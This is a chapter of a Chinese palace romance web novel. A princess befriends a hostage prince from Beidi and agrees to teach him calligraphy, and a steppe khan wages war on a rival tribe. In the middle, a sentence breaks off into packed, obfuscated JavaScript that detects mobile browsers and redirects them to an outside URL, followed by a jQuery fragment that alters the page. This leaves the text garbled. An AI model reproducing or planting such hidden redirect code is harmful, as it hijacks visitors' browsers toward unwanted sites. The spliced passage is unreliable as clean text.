两人从里面走出来，好似什么也没发生一般。
福云恭敬道：“请五公主和梅姑娘先回吧，绛雪庭的早膳奴才一会遣人送去。”
薛玉贞满意点头，带着梅晓凯旋。
梅晓忍不住问道：“殿下您究竟与他说了什么呀，竟把御膳房的刁奴治的服服帖帖？”
薛玉贞把假山事情的原委完整地给她讲了一遍。
梅晓听了久久不能平息：“有钱真能使鬼推磨啊！”
反正已经利用过了，薛玉贞淡淡道：“不关我们的事，随他们去吧。”
·
玉门关外的草原上也飘起了雪花。
乌云密布的天空之下，黑压压的敕连铁骑们头戴黑铁兜鍪，身披黑色铠甲，手持长剑。
气势汹汹，训练有素。
他们整齐地列于辽阔无垠的草原之上。
对面则是瑟瑟发抖、面如土色的戎真军队，冷汗不停地从他们身上冒出，眼里满是对死亡的恐惧。
等敕连士兵手中的牛角发出浑厚吼声后，严阵以待的铁骑如同洪水猛兽一般杀向戎真铁骑。
马蹄扬起漫天尘土，戎真铁骑只能硬着头皮迎了上去。
这是一场毫无悬念的战争。
敕连铁骑的后方，一个骑着白马，身披玄色貂裘，络腮胡如野草般覆盖了下半张脸的尉迟迦满意地看着这一切。
“敛儿，你想不想和那些前辈们一样上阵杀敌？”他转头对自己正值年少的儿子尉迟敛道。
“想，父汗可愿给我这个机会?”
尉迟敛骑的是一匹枣红色的烈马，他拉了下手中的缰绳，马驹不禁向前扬了扬头。
“要的就是你这句话！”尉迟迦爽朗大笑，“不错，有我当年的风范，真没白养你。”
尉迟迦收回脸上的笑意，严肃道：“可是你的志向不能只有上场打仗，而是像为父一样要称霸整个草原。所以要拥有一支无比强大的军队。”
“而你，需要变得比他们所有人强大，才能让他们甘心俯首称臣！明白吗？”
尉迟迦的野心不止是称霸草原那么简单，千里之外的大靖在他眼里也是一块肥肉。
“父亲说的对。”尉迟敛握紧了手中的刀，眼里是藏不住的野心。
不得不说，尉迟敛生得恰逢其时，这时一个全盛的敕连部落。
三十年前，敕连部落一直受着戎真部落的奴隶，敕连人只能和戎真人养的牲畜们同吃同住，毫无尊严可言。
转折在戎真与大靖的那一场战争，戎真战败后元气大伤，部落渐渐走向衰落，对他们的统治也越发残暴。
敕连人明白只有发起抗争才能活命，于是他们拥立了年轻的可汗尉迟迦，组建了几支尖锐部队发起抗争。
日薄西山的戎真无心再战，只得同意敕连的独立。
从此敕连不再是戎真的附属国。
以后的几十年里，敕连部在尉迟迦的带领下养精蓄锐，军队实力越来越强。
对戎真部的国仇家恨，敕连人自然不会忘记。
半年前，尉迟迦集结了一万精锐决定向戎真发起进攻，铁了心要灭掉戎真部。
颓废已久的戎真无力抗击，再加上求援大靖的失败，曾经草原的一方霸主就这样被敕连打覆灭，在历史的长河中消亡。
敕连部也打响了自己的名声，因为那带有狼图腾的旌旗，被称为狼王部落。
·
薛玉贞和梅晓饱餐一顿之后，安宁地坐在院子晒太阳。
“撑死了，好久没有吃的这么丰盛了，殿下真是英明神武！”梅晓由衷地赞叹。
庭院中的积雪，此时被日光晒得酥软，正悄然化开。
檐上的积雪最先松动，化开的水珠沿着琉璃瓦当的兽头鼻尖，“嗒”地坠下来，一声又一声，不紧不慢，敲在阶下的石板上。
阳光是淡金色的，斜斜地切过庭院，将覆雪的太湖石照得一半晶莹如玉。
雪水漫过地面，青砖的缝隙便成了一条条墨线，蜿蜒着，汇聚到低处，凝成一小洼的亮，清晰地倒映着枯枝疏朗的影子。
几丛竹子被雪压弯了腰，此刻雪块簌簌地掉落，竹身便猛地一弹，扬起一阵细如尘埃，还闪着银光的水雾。
看着眼前明媚的景色，薛玉贞突然想起了什么，交代了梅晓几句就匆匆出门。
她赶到落霞轩的时候，呼延灼和小顺子，福平三个手脚麻利的家伙已经把轩内打扫一遍了。
远远望去，焕然一新。
小顺子高高瘦瘦的像竹竿，福平正好反过来，矮矮胖胖的。
他们俩站在一起给薛玉贞行礼告退，对比十分强烈。
只剩下薛玉贞和呼延灼。
这儿的空气是清冽的，带着雪融时特有的，凛冽又湿润的气息，混杂着泥土苏醒的味道，还有远处隐约飘来殿内炭火的一丝暖意。
薛玉贞寻了一把梨花木椅子坐下，与呼延灼攀谈起来：“阿灼，你们北狄是什么样子啊？”
她很想结交这个北狄人，对他的故土起了兴致。
“殿下，我们北狄虽没有大靖辽阔，但却是个美丽的地方。”
聊起家乡，呼延灼的眸子里黯淡一点点褪去，“我们的王庭在日落城，太阳从这儿升起，青宛江也从这里经过，还有昼夜不停的集市，集市上你能听到十几种语言：大靖的琵琶手、波斯的宝石商人、草原的皮草猎户……”
“还有雀灵山的雪，东湖都是人间至景。”
呼延灼嘴里的青宛江，发源于东皋雪山，途径大靖，北狄，河垣，自西向东汇入阙湖，在进入北狄境内之后向南分出一支，名为苛河。
在此之前，苛河以南是为大靖，以北则是北狄，然而自清平之乱后，北狄被迫割让了龙龛，苛河从此变成了大靖的内河。
“你居然去过这么多地方。”
薛玉贞很是诧异，毕竟她长到现在，连宫门都没出过几次。
“我幼时常私自外出游历日落城玩到天黑才回去，还好父汗并不在乎这些，只有阿嫲会呵斥我几句。”
呼延灼清眸如石上流泉一般，干干净净地映出薛玉贞的倒影。
“殿下，你听说过双陆吗，这是我们北狄人从小玩的游戏……”呼延灼说起来便滔滔不绝，薛玉贞瞪大双眼认真听着。
两个人一直聊到晌午，颇有一种相见恨晚的感觉，连处境都那么的相似。
最后，薛玉贞鼓起勇气：“阿灼，我薛玉贞要同你交……交朋友！”
呼延灼眉眼弯弯：“好，那我们以后就是朋友了。”
风拂过一缕青丝，轻轻飞过她的眼睛。
他笑起来也很好看，连一旁的山茶花都失了色彩。
因为母妃郭氏出身低微，没有煊赫的母族撑腰，那些精于算计的世家夫人们，自然不愿让女儿来做她的伴读，平白跌了身份。
她与皇兄皇姊们的关系也很淡漠，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209329|197379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一年到头也说不了几句话。
因此薛玉贞从小到大除了梅晓，一个朋友也没有。
但是从今往后，她就多了呼延灼这个外邦朋友。
·
几日过去，庭中的积雪总算化尽，就像雪花不曾来过一样。
薛玉贞正摆弄着花盆里那株冬青，红叶落尽，满树挂满鲜红的浆果，看着很诱人。
“殿下！”
梅晓气喘吁吁地出现在她身后。
“发生什么了，竟让你如此着急？”薛玉贞没停手上的动作。
“殿下，前日落霞轩来了道圣旨，要那位质子去文华阁和皇子公主们一起上课呢！”
薛玉贞想了下，虽然呼延灼是被北狄人质被软禁在宫中，但对外却是用学子的身份拜访大靖。
父皇这么做，既不会让北狄丢了面子，也展现了大靖的包容宽厚。
“这么做倒也正常。”
文华阁原是专为皇子开设的学府，公主向来不得入内。
直至前朝，好学的姝月公主恳请能与皇子一同进学，先帝疼爱她，怜她向学之心，便特准其请。
只是公主们年满十五岁后，便须离开文华阁，回宫备嫁。
薛玉贞已经离开文华阁一年多了，下个月就是她的十七岁生辰了。
想到嫁人，薛玉贞心里很忐忑，也不知道皇后娘娘会把她许配给那家的公子，驸马会好好待她吗？
她无心再侍弄花草，转头问梅晓：“梅晓，若是我以后许配了人家，你愿意跟着我走吗？”
“若你不想，我便放你出宫，寻一门好亲事。”
“殿下说什么傻话呢，奴说好了要保护你一辈子，当然会一直跟着你，就算您要嫁到很远的地方去。
“现在这事八字还没一撇呢，您是不是有点着急了，还是说，殿下想要选驸马了？”梅晓坏笑着看向她，眼尾飞翘起来。
“当然没有了，我只是突然想到了而已。”薛玉贞抚了抚鬓发。
快要日落之际，小顺子过来通传薛玉贞，说北狄质子要求见她。
“带他进来吧。”薛玉贞爽快道。
宽肩窄腰的男人风风火火地进来。
呼延灼看见她的一瞬间，琥珀色的眼眸里粼粼有光。
“殿下，阿灼来有一事相求。”
薛玉贞眉眼温柔，“咱们是朋友，不必这么客气，有什么事直接说吧。”
呼延灼还没开口，面上就染了层红：“说来也丢人，我来大靖前专门学了你们的语言，想来写大靖文字也不在话下。”
“可是我今日提笔写字才发现，和你们皇子公主们写的差远了，还被他们嘲笑写得连五岁小孩都不如。”
“请殿下教我写字吧！”呼延灼的薄唇抿得泛白，眼里充满了渴望。
原来他今日是为此而来，薛玉贞心口微软，嘴角控制不住地咧向耳根。
“毛笔写字本来就要大量练习才能写好，皇兄皇姊他们也是练了许久的，你一个外邦人写不好不是很正常吗？没必要自责。”薛玉贞安慰他道。
“这样吧，往后你下了学就来我殿里，我亲手教你。”
薛玉贞会写一手很秀气的簪花小楷，就连文华阁的夫子见了都会忍不住称赞，所以她对自己的水平很有信心。
呼延灼得了准许，露出一个明媚至极的笑颜：“那从今往后，你也是我的夫子。”
薛玉贞点头，吩咐福平送他回宫。